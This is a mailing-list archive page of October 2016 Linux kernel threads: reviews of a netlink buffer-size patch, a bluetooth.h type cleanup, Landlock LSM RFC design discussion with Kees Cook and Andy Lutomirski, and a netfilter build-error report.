> @@ -1832,7 +1832,7 @@ static int netlink_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
> /* Record the max length of recvmsg() calls for future allocations */
> nlk->max_recvmsg_len = max(nlk->max_recvmsg_len, len);
> nlk->max_recvmsg_len = min_t(size_t, nlk->max_recvmsg_len,
> - 16384);
> + SKB_WITH_OVERHEAD(32768));
sure, it won't stress it more than what it is today, but why increase it?
iproute2 increased the buffer form 16k to 32k due to 'msg_trunc' which
I think was due to this issue. If we go with SKB_WITH_OVERHEAD(16384)
we can go back to 16k in iproute2 as well.
Do we have any data to justify that buffer of 32k - skb_shared_info vs 16k
will meaninfully reduce the number of syscalls?
We're seeing direct reclaim get hammered due to order-3.
Not sure whether & ~__GFP_DIRECT_RECLAIM is going to be enough.
Currently we're testing with SKB_WITH_OVERHEAD(16384) and ~__GFP_DIRECT_RECLAIM.
It will take another week to make sure SKB_WITH_OVERHEAD(32768) is ok.
imo this optimization is done too soon.
I'd much more comfortable with SKB_WITH_OVERHEAD(16384) value here.
>
> copied = data_skb->len;
> if (len < copied) {
> @@ -2083,8 +2083,9 @@ static int netlink_dump(struct sock *sk)
>
> if (alloc_min_size < nlk->max_recvmsg_len) {
> alloc_size = nlk->max_recvmsg_len;
> - skb = alloc_skb(alloc_size, GFP_KERNEL |
> - __GFP_NOWARN | __GFP_NORETRY);
> + skb = alloc_skb(alloc_size,
> + (GFP_KERNEL & ~__GFP_DIRECT_RECLAIM) |
> + __GFP_NOWARN | __GFP_NORETRY);
> }
> if (!skb) {
> alloc_size = alloc_min_size;
>
>
^ permalink raw reply
* Re: [PATCH] bluetooth.h: __ variants of u8 and friends are not neccessary inside kernel
From: Pavel Machek @ 2016-10-05 22:13 UTC (permalink / raw)
To: Joe Perches
Cc: Marcel Holtmann, Gustavo F. Padovan, Johan Hedberg,
David S. Miller, linux-bluetooth, netdev, linux-kernel
In-Reply-To: <1475694934.1941.1.camel@perches.com>
[-- Attachment #1: Type: text/plain, Size: 1387 bytes --]
On Wed 2016-10-05 12:15:34, Joe Perches wrote:
> On Wed, 2016-10-05 at 21:11 +0200, Pavel Machek wrote:
> > On Wed 2016-10-05 10:53:16, Joe Perches wrote:
> > > On Wed, 2016-10-05 at 13:14 +0200, Marcel Holtmann wrote:
> > > > Hi Pavel,
> > > >
> > > > > bluetooth.h is not part of user API, so __ variants are not neccessary
> > > > > here.
> > > > >
> > > > > Signed-off-by: Pavel Machek <pavel@ucw.cz>
> > > > >
> > > > > diff --git a/include/net/bluetooth/bluetooth.h b/include/net/bluetooth/bluetooth.h
> > >
> > > []
> > > > > struct bt_skb_cb {
> > > > > - __u8 pkt_type;
> > > > > - __u8 force_active;
> > > > > - __u16 expect;
> > > > > - __u8 incoming:1;
> > > > > + u8 pkt_type;
> > > > > + u8 force_active;
> > > > > + u16 expect;
> > > > > + u8 incoming:1;
> > > > > union {
> > > > > struct l2cap_ctrl l2cap;
> > > > > struct hci_ctrl hci;
> > >
> > >
> > > trivia:
> > >
> > > It's generally faster to use bool instead of u8 foo:1;
> >
> > Ok, but I'm not changing that in this patch.
> > (And actually, bool will take a lot more memory, right?)
>
> No worries, and bool is the same size as u8.
Exactly what I'm talking about :-). One byte vs. one bit, right?
Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html
[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 181 bytes --]
^ permalink raw reply
* Re: [RFC v3 03/22] bpf,landlock: Add a new arraymap type to deal with (Landlock) handles
From: Mickaël Salaün @ 2016-10-05 22:02 UTC (permalink / raw)
To: Kees Cook
Cc: LKML, Alexei Starovoitov, Andy Lutomirski, Arnd Bergmann,
Casey Schaufler, Daniel Borkmann, Daniel Mack, David Drysdale,
David S . Miller, Elena Reshetova, Eric W . Biederman,
James Morris, Paul Moore, Sargun Dhillon, Serge E . Hallyn,
Tejun Heo, Will Drewry, kernel-hardening@lists.openwall.com,
Linux API, linux-security-module <linux-s
In-Reply-To: <CAGXu5jLgkbMN0KszLx3dcHfmksW_TORzT7JxHiGJL2Xux5TVBA@mail.gmail.com>
[-- Attachment #1.1: Type: text/plain, Size: 4989 bytes --]
On 04/10/2016 01:53, Kees Cook wrote:
> On Wed, Sep 14, 2016 at 12:23 AM, Mickaël Salaün <mic@digikod.net> wrote:
>> This new arraymap looks like a set and brings new properties:
>> * strong typing of entries: the eBPF functions get the array type of
>> elements instead of CONST_PTR_TO_MAP (e.g.
>> CONST_PTR_TO_LANDLOCK_HANDLE_FS);
>> * force sequential filling (i.e. replace or append-only update), which
>> allow quick browsing of all entries.
>>
>> This strong typing is useful to statically check if the content of a map
>> can be passed to an eBPF function. For example, Landlock use it to store
>> and manage kernel objects (e.g. struct file) instead of dealing with
>> userland raw data. This improve efficiency and ensure that an eBPF
>> program can only call functions with the right high-level arguments.
>>
>> The enum bpf_map_handle_type list low-level types (e.g.
>> BPF_MAP_HANDLE_TYPE_LANDLOCK_FS_FD) which are identified when
>> updating a map entry (handle). This handle types are used to infer a
>> high-level arraymap type which are listed in enum bpf_map_array_type
>> (e.g. BPF_MAP_ARRAY_TYPE_LANDLOCK_FS).
>>
>> For now, this new arraymap is only used by Landlock LSM (cf. next
>> commits) but it could be useful for other needs.
>>
>> Changes since v2:
>> * add a RLIMIT_NOFILE-based limit to the maximum number of arraymap
>> handle entries (suggested by Andy Lutomirski)
>> * remove useless checks
>>
>> Changes since v1:
>> * arraymap of handles replace custom checker groups
>> * simpler userland API
>>
>> Signed-off-by: Mickaël Salaün <mic@digikod.net>
>> Cc: Alexei Starovoitov <ast@kernel.org>
>> Cc: Andy Lutomirski <luto@amacapital.net>
>> Cc: Daniel Borkmann <daniel@iogearbox.net>
>> Cc: David S. Miller <davem@davemloft.net>
>> Cc: Kees Cook <keescook@chromium.org>
>> Link: https://lkml.kernel.org/r/CALCETrWwTiz3kZTkEgOW24-DvhQq6LftwEXh77FD2G5o71yD7g@mail.gmail.com
>> ---
>> include/linux/bpf.h | 14 ++++
>> include/uapi/linux/bpf.h | 18 +++++
>> kernel/bpf/arraymap.c | 203 +++++++++++++++++++++++++++++++++++++++++++++++
>> kernel/bpf/verifier.c | 12 ++-
>> 4 files changed, 246 insertions(+), 1 deletion(-)
>>
>> [...]
>> diff --git a/kernel/bpf/arraymap.c b/kernel/bpf/arraymap.c
>> index a2ac051c342f..94256597eacd 100644
>> --- a/kernel/bpf/arraymap.c
>> +++ b/kernel/bpf/arraymap.c
>> [...]
>> + /*
>> + * Limit number of entries in an arraymap of handles to the maximum
>> + * number of open files for the current process. The maximum number of
>> + * handle entries (including all arraymaps) for a process is then
>> + * (RLIMIT_NOFILE - 1) * RLIMIT_NOFILE. If the process' RLIMIT_NOFILE
>> + * is 0, then any entry update is forbidden.
>> + *
>> + * An eBPF program can inherit all the arraymap FD. The worse case is
>> + * to fill a bunch of arraymaps, create an eBPF program, close the
>> + * arraymap FDs, and start again. The maximum number of arraymap
>> + * entries can then be close to RLIMIT_NOFILE^3.
>> + *
>> + * FIXME: This should be improved... any idea?
>> + */
>> + if (unlikely(index >= rlimit(RLIMIT_NOFILE)))
>> + return -EMFILE;
>
> I'm not sure what's best for resource management here. Landlock will
> be holding open path structs, for example, but how are you expecting
> to track things like network policies? An allowed IP address, for
> example, doesn't have a handle outside of doing a full
> socket()/connect() setup.
Path and file references are hard to handle correctly but other things
should be simpler. External resources (i.e. not relative to the running
system as paths are) like network hosts or ports could simply be
expressed as raw values (like used for iptables rules). Moreover, for
network rules, relying on raw packet values (as
BPF_PROG_TYPE_SOCKET_FILTER have access to) may be more than enough.
>
> I think an explicit design for resource management should be
> considered up front...
I'm not really sure how to handle that part…
There is basically two ways to express a "kernel object": relative (with
an internal pointer to a struct, e.g. struct file) or absolute (a raw
value). Both of them use kernel memory. However, only the former may
impact other parts of the kernel (e.g. can force to hold a kernel object
like a struct dentry). The impact of this is not clear for me but it
looks like other resource managements for a process: number of open
files, number of network connections…
The more reasonable approach seems to charge the user for the (kernel)
memory dedicated to the user's policy. How can I do it? Maybe to
decrement the RLIMIT_NPROC and check the RLIMIT_AS (i.e. act like a
virtual process)?
There is no such limits with other eBPF maps (even those dealing with
FD), so this may be too much.
Mickaël
[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 455 bytes --]
^ permalink raw reply
* Re: [PATCHv2] bluetooth.h: __ variants of u8 and friends are not neccessary inside kernel
From: Marcel Holtmann @ 2016-10-05 21:54 UTC (permalink / raw)
To: Pavel Machek
Cc: trivial, Gustavo F. Padovan, Johan Hedberg, David S. Miller,
open list:BLUETOOTH DRIVERS, netdev, linux-kernel
In-Reply-To: <20161005205142.GA26186@amd>
Hi Pavel,
> bluetooth.h is not part of user API, so __ variants are not neccessary
> here.
>
> Signed-off-by: Pavel Machek <pavel@ucw.cz>
>
> ---
> v2: not touching stuff that Marcel does not want touched, as it will
> become API later.
patch has been applied to bluetooth-next tree.
Regards
Marcel
^ permalink raw reply
* Re: [RFC v3 16/22] bpf/cgroup,landlock: Handle Landlock hooks per cgroup
From: Kees Cook @ 2016-10-05 21:25 UTC (permalink / raw)
To: Mickaël Salaün
Cc: LKML, Alexei Starovoitov, Andy Lutomirski, Arnd Bergmann,
Casey Schaufler, Daniel Borkmann, Daniel Mack, David Drysdale,
David S . Miller, Elena Reshetova, Eric W . Biederman,
James Morris, Paul Moore, Sargun Dhillon, Serge E . Hallyn,
Tejun Heo, Will Drewry, kernel-hardening@lists.openwall.com,
Linux API
In-Reply-To: <57F5696E.6020502@digikod.net>
On Wed, Oct 5, 2016 at 1:58 PM, Mickaël Salaün <mic@digikod.net> wrote:
>
>
> On 04/10/2016 01:43, Kees Cook wrote:
>> On Wed, Sep 14, 2016 at 12:24 AM, Mickaël Salaün <mic@digikod.net> wrote:
>>> This allows to add new eBPF programs to Landlock hooks dedicated to a
>>> cgroup thanks to the BPF_PROG_ATTACH command. Like for socket eBPF
>>> programs, the Landlock hooks attached to a cgroup are propagated to the
>>> nested cgroups. However, when a new Landlock program is attached to one
>>> of this nested cgroup, this cgroup hierarchy fork the Landlock hooks.
>>> This design is simple and match the current CONFIG_BPF_CGROUP
>>> inheritance. The difference lie in the fact that Landlock programs can
>>> only be stacked but not removed. This match the append-only seccomp
>>> behavior. Userland is free to handle Landlock hooks attached to a cgroup
>>> in more complicated ways (e.g. continuous inheritance), but care should
>>> be taken to properly handle error cases (e.g. memory allocation errors).
>>>
>>> Changes since v2:
>>> * new design based on BPF_PROG_ATTACH (suggested by Alexei Starovoitov)
>>>
>>> Signed-off-by: Mickaël Salaün <mic@digikod.net>
>>> Cc: Alexei Starovoitov <ast@kernel.org>
>>> Cc: Andy Lutomirski <luto@amacapital.net>
>>> Cc: Daniel Borkmann <daniel@iogearbox.net>
>>> Cc: Daniel Mack <daniel@zonque.org>
>>> Cc: David S. Miller <davem@davemloft.net>
>>> Cc: Kees Cook <keescook@chromium.org>
>>> Cc: Tejun Heo <tj@kernel.org>
>>> Link: https://lkml.kernel.org/r/20160826021432.GA8291@ast-mbp.thefacebook.com
>>> Link: https://lkml.kernel.org/r/20160827204307.GA43714@ast-mbp.thefacebook.com
>>> ---
>>> include/linux/bpf-cgroup.h | 7 +++++++
>>> include/linux/cgroup-defs.h | 2 ++
>>> include/linux/landlock.h | 9 +++++++++
>>> include/uapi/linux/bpf.h | 1 +
>>> kernel/bpf/cgroup.c | 33 ++++++++++++++++++++++++++++++---
>>> kernel/bpf/syscall.c | 11 +++++++++++
>>> security/landlock/lsm.c | 40 +++++++++++++++++++++++++++++++++++++++-
>>> security/landlock/manager.c | 32 ++++++++++++++++++++++++++++++++
>>> 8 files changed, 131 insertions(+), 4 deletions(-)
>>>
>>> [...]
>>> diff --git a/kernel/bpf/cgroup.c b/kernel/bpf/cgroup.c
>>> index 7b75fa692617..1c18fe46958a 100644
>>> --- a/kernel/bpf/cgroup.c
>>> +++ b/kernel/bpf/cgroup.c
>>> @@ -15,6 +15,7 @@
>>> #include <linux/bpf.h>
>>> #include <linux/bpf-cgroup.h>
>>> #include <net/sock.h>
>>> +#include <linux/landlock.h>
>>>
>>> DEFINE_STATIC_KEY_FALSE(cgroup_bpf_enabled_key);
>>> EXPORT_SYMBOL(cgroup_bpf_enabled_key);
>>> @@ -31,7 +32,15 @@ void cgroup_bpf_put(struct cgroup *cgrp)
>>> union bpf_object pinned = cgrp->bpf.pinned[type];
>>>
>>> if (pinned.prog) {
>>> - bpf_prog_put(pinned.prog);
>>> + switch (type) {
>>> + case BPF_CGROUP_LANDLOCK:
>>> +#ifdef CONFIG_SECURITY_LANDLOCK
>>> + put_landlock_hooks(pinned.hooks);
>>> + break;
>>> +#endif /* CONFIG_SECURITY_LANDLOCK */
>>> + default:
>>> + bpf_prog_put(pinned.prog);
>>> + }
>>> static_branch_dec(&cgroup_bpf_enabled_key);
>>> }
>>> }
>>
>> I get creeped out by type-controlled unions of pointers. :P I don't
>> have a suggestion to improve this, but I don't like seeing a pointer
>> type managed separately from the pointer itself as it tends to bypass
>> a lot of both static and dynamic checking. A union is better than a
>> cast of void *, but it still worries me. :)
>
> This is not fully satisfactory for me neither but the other approach is
> to use two distinct struct fields instead of a union.
> Do you prefer if there is a "type" field in the "pinned" struct to
> select the union?
Since memory usage isn't a huge deal for this, I'd actually prefer
there just be no union at all. Have a type field, and a distinct
pointer field for each type you're expecting to use. That way there
can never be confusion between types and you could even validate that
only a single field type has been populated, etc.
-Kees
--
Kees Cook
Nexus Security
^ permalink raw reply
* Re: error: 'struct net_device' has no member named 'nf_hooks_ingress'
From: Eric Dumazet @ 2016-10-05 21:11 UTC (permalink / raw)
To: Michal Sojka
Cc: Sergey Senozhatsky, Aaron Conole, linux-next, linux-kernel,
Stephen Rothwell, Florian Westphal, Pablo Neira Ayuso, netdev,
netfilter-devel, Sergey Senozhatsky
In-Reply-To: <87wphm1pn8.fsf@steelpick.2x.cz>
On Wed, 2016-10-05 at 22:56 +0200, Michal Sojka wrote:
> this commit is now in mainline as
> e3b37f11e6e4e6b6f02cc762f182ce233d2c1c9d and it breaks my build:
>
> net/netfilter/core.c: In function 'nf_set_hooks_head':
> net/netfilter/core.c:96:3: error: 'struct net_device' has no member named 'nf_hooks_ingress'
>
> Are the fixes (see below) on the way to mainline too?
Yes the fixes are already in nf tree and _will_ get pushed.
Pablo and David are attending netdev 1.2 in Tokyo and have obligations.
https://git.kernel.org/cgit/linux/kernel/git/pablo/nf-next.git/
Thanks.
^ permalink raw reply
* Re: [PATCH net-next v2 1/3] openvswitch: normalize vlan rx path
From: Jiri Benc @ 2016-10-05 21:07 UTC (permalink / raw)
To: Eric Garver; +Cc: Eyal Birger, netdev@vger.kernel.org, pravin shelar
In-Reply-To: <20161005192132.GR25403@egarver>
On Wed, 5 Oct 2016 15:21:32 -0400, Eric Garver wrote:
> How about this incremental change?
Feel free to submit it as a standalone patch. It has nothing to do with
this patchset. In this particular regard, the code is identical before
and after the patchset and is in no way altered by this patch.
Jiri
^ permalink raw reply
* Re: [RFC v3 11/22] seccomp,landlock: Handle Landlock hooks per process hierarchy
From: Mickaël Salaün @ 2016-10-05 21:05 UTC (permalink / raw)
To: Kees Cook
Cc: Andy Lutomirski, linux-kernel@vger.kernel.org, Alexei Starovoitov,
Arnd Bergmann, Casey Schaufler, Daniel Borkmann, Daniel Mack,
David Drysdale, David S . Miller, Elena Reshetova,
Eric W . Biederman, James Morris, Paul Moore, Sargun Dhillon,
Serge E . Hallyn, Tejun Heo, Will Drewry,
kernel-hardening@lists.openwall.com, Linux API
In-Reply-To: <CAGXu5j+qowiyQuhifOBtupfPxp6XevdgF08BW4yzkVDTCha0xA@mail.gmail.com>
[-- Attachment #1.1: Type: text/plain, Size: 1827 bytes --]
On 04/10/2016 01:52, Kees Cook wrote:
> On Wed, Sep 14, 2016 at 3:34 PM, Mickaël Salaün <mic@digikod.net> wrote:
>>
>> On 14/09/2016 20:43, Andy Lutomirski wrote:
>>> On Wed, Sep 14, 2016 at 12:24 AM, Mickaël Salaün <mic@digikod.net> wrote:
>>>> A Landlock program will be triggered according to its subtype/origin
>>>> bitfield. The LANDLOCK_FLAG_ORIGIN_SECCOMP value will trigger the
>>>> Landlock program when a seccomp filter will return RET_LANDLOCK.
>>>> Moreover, it is possible to return a 16-bit cookie which will be
>>>> readable by the Landlock programs in its context.
>>>
>>> Are you envisioning that the filters will return RET_LANDLOCK most of
>>> the time or rarely? If it's most of the time, then maybe this could
>>> be simplified a bit by unconditionally calling the landlock filter and
>>> letting the landlock filter access a struct seccomp_data if needed.
>>
>> Exposing seccomp_data in a Landlock context may be a good idea. The main
>> implication is that Landlock programs may then be architecture specific
>> (if dealing with data) as seccomp filters are. Another point is that it
>> remove any direct binding between seccomp filters and Landlock programs.
>> I will try this (more simple) approach.
>
> Yeah, I would prefer that the seccomp code isn't doing list management
> to identify the landlock hooks to trigger, etc. I think that's better
> done on the LSM side. And since multiple seccomp filters could trigger
> landlock, it may be best to just leave the low 16 bits unused
> entirely. Then all state management is handled by the landlock eBPF
> maps, not a value coming from seccomp that can get stomped on by new
> filters, etc.
Right, this approach should be simpler, more efficient and independent
from seccomp. This will be in the next RFC.
[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 455 bytes --]
^ permalink raw reply
* Re: [RFC v3 19/22] landlock: Add interrupted origin
From: Mickaël Salaün @ 2016-10-05 21:01 UTC (permalink / raw)
To: Kees Cook, Andy Lutomirski
Cc: linux-kernel@vger.kernel.org, Alexei Starovoitov, Arnd Bergmann,
Casey Schaufler, Daniel Borkmann, Daniel Mack, David Drysdale,
David S . Miller, Elena Reshetova, Eric W . Biederman,
James Morris, Paul Moore, Sargun Dhillon, Serge E . Hallyn,
Tejun Heo, Will Drewry, kernel-hardening@lists.openwall.com,
Linux API, LSM List
In-Reply-To: <CAGXu5j+90zJTcfm2DMP04zu0pg832dKgSJgfFYxLVvV=CZk16g@mail.gmail.com>
[-- Attachment #1.1: Type: text/plain, Size: 1636 bytes --]
On 04/10/2016 01:46, Kees Cook wrote:
> On Wed, Sep 14, 2016 at 6:19 PM, Andy Lutomirski <luto@amacapital.net> wrote:
>> On Wed, Sep 14, 2016 at 3:14 PM, Mickaël Salaün <mic@digikod.net> wrote:
>>>
>>> On 14/09/2016 20:29, Andy Lutomirski wrote:
>>>> On Wed, Sep 14, 2016 at 12:24 AM, Mickaël Salaün <mic@digikod.net> wrote:
>>>>> This third origin of hook call should cover all possible trigger paths
>>>>> (e.g. page fault). Landlock eBPF programs can then take decisions
>>>>> accordingly.
>>>>>
>>>>> Signed-off-by: Mickaël Salaün <mic@digikod.net>
>>>>> Cc: Alexei Starovoitov <ast@kernel.org>
>>>>> Cc: Andy Lutomirski <luto@amacapital.net>
>>>>> Cc: Daniel Borkmann <daniel@iogearbox.net>
>>>>> Cc: Kees Cook <keescook@chromium.org>
>>>>> ---
>>>>
>>>>
>>>>>
>>>>> + if (unlikely(in_interrupt())) {
>>>>
>>>> IMO security hooks have no business being called from interrupts.
>>>> Aren't they all synchronous things done by tasks? Interrupts are
>>>> driver things.
>>>>
>>>> Are you trying to check for page faults and such?
>>>
>>> Yes, that was the idea you did put in my mind. Not sure how to deal with
>>> this.
>>>
>>
>> It's not so easy, unfortunately. The easiest reliable way might be to
>> set a TS_ flag on all syscall entries when TIF_SECCOMP or similar is
>> set.
>
> For making this series smaller, let's leave the idea idea of interrupt
> hooks out -- the intention is for stricter syscall filtering, yes?
>
> Once things are more well established and there's a use-case for this,
> it can be added back in.
Right, I'm no more convinced it's worth it.
[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 455 bytes --]
^ permalink raw reply
* Re: [RFC v3 16/22] bpf/cgroup,landlock: Handle Landlock hooks per cgroup
From: Mickaël Salaün @ 2016-10-05 20:58 UTC (permalink / raw)
To: Kees Cook
Cc: LKML, Alexei Starovoitov, Andy Lutomirski, Arnd Bergmann,
Casey Schaufler, Daniel Borkmann, Daniel Mack, David Drysdale,
David S . Miller, Elena Reshetova, Eric W . Biederman,
James Morris, Paul Moore, Sargun Dhillon, Serge E . Hallyn,
Tejun Heo, Will Drewry, kernel-hardening@lists.openwall.com,
Linux API, linux-security-module <linux-s
In-Reply-To: <CAGXu5jJ-Heb0nnLygYo0xHaJKSrQM5RSVRNYN2NnYddwGHtWkA@mail.gmail.com>
[-- Attachment #1.1: Type: text/plain, Size: 3826 bytes --]
On 04/10/2016 01:43, Kees Cook wrote:
> On Wed, Sep 14, 2016 at 12:24 AM, Mickaël Salaün <mic@digikod.net> wrote:
>> This allows to add new eBPF programs to Landlock hooks dedicated to a
>> cgroup thanks to the BPF_PROG_ATTACH command. Like for socket eBPF
>> programs, the Landlock hooks attached to a cgroup are propagated to the
>> nested cgroups. However, when a new Landlock program is attached to one
>> of this nested cgroup, this cgroup hierarchy fork the Landlock hooks.
>> This design is simple and match the current CONFIG_BPF_CGROUP
>> inheritance. The difference lie in the fact that Landlock programs can
>> only be stacked but not removed. This match the append-only seccomp
>> behavior. Userland is free to handle Landlock hooks attached to a cgroup
>> in more complicated ways (e.g. continuous inheritance), but care should
>> be taken to properly handle error cases (e.g. memory allocation errors).
>>
>> Changes since v2:
>> * new design based on BPF_PROG_ATTACH (suggested by Alexei Starovoitov)
>>
>> Signed-off-by: Mickaël Salaün <mic@digikod.net>
>> Cc: Alexei Starovoitov <ast@kernel.org>
>> Cc: Andy Lutomirski <luto@amacapital.net>
>> Cc: Daniel Borkmann <daniel@iogearbox.net>
>> Cc: Daniel Mack <daniel@zonque.org>
>> Cc: David S. Miller <davem@davemloft.net>
>> Cc: Kees Cook <keescook@chromium.org>
>> Cc: Tejun Heo <tj@kernel.org>
>> Link: https://lkml.kernel.org/r/20160826021432.GA8291@ast-mbp.thefacebook.com
>> Link: https://lkml.kernel.org/r/20160827204307.GA43714@ast-mbp.thefacebook.com
>> ---
>> include/linux/bpf-cgroup.h | 7 +++++++
>> include/linux/cgroup-defs.h | 2 ++
>> include/linux/landlock.h | 9 +++++++++
>> include/uapi/linux/bpf.h | 1 +
>> kernel/bpf/cgroup.c | 33 ++++++++++++++++++++++++++++++---
>> kernel/bpf/syscall.c | 11 +++++++++++
>> security/landlock/lsm.c | 40 +++++++++++++++++++++++++++++++++++++++-
>> security/landlock/manager.c | 32 ++++++++++++++++++++++++++++++++
>> 8 files changed, 131 insertions(+), 4 deletions(-)
>>
>> [...]
>> diff --git a/kernel/bpf/cgroup.c b/kernel/bpf/cgroup.c
>> index 7b75fa692617..1c18fe46958a 100644
>> --- a/kernel/bpf/cgroup.c
>> +++ b/kernel/bpf/cgroup.c
>> @@ -15,6 +15,7 @@
>> #include <linux/bpf.h>
>> #include <linux/bpf-cgroup.h>
>> #include <net/sock.h>
>> +#include <linux/landlock.h>
>>
>> DEFINE_STATIC_KEY_FALSE(cgroup_bpf_enabled_key);
>> EXPORT_SYMBOL(cgroup_bpf_enabled_key);
>> @@ -31,7 +32,15 @@ void cgroup_bpf_put(struct cgroup *cgrp)
>> union bpf_object pinned = cgrp->bpf.pinned[type];
>>
>> if (pinned.prog) {
>> - bpf_prog_put(pinned.prog);
>> + switch (type) {
>> + case BPF_CGROUP_LANDLOCK:
>> +#ifdef CONFIG_SECURITY_LANDLOCK
>> + put_landlock_hooks(pinned.hooks);
>> + break;
>> +#endif /* CONFIG_SECURITY_LANDLOCK */
>> + default:
>> + bpf_prog_put(pinned.prog);
>> + }
>> static_branch_dec(&cgroup_bpf_enabled_key);
>> }
>> }
>
> I get creeped out by type-controlled unions of pointers. :P I don't
> have a suggestion to improve this, but I don't like seeing a pointer
> type managed separately from the pointer itself as it tends to bypass
> a lot of both static and dynamic checking. A union is better than a
> cast of void *, but it still worries me. :)
This is not fully satisfactory for me neither but the other approach is
to use two distinct struct fields instead of a union.
Do you prefer if there is a "type" field in the "pinned" struct to
select the union?
Mickaël
[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 455 bytes --]
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox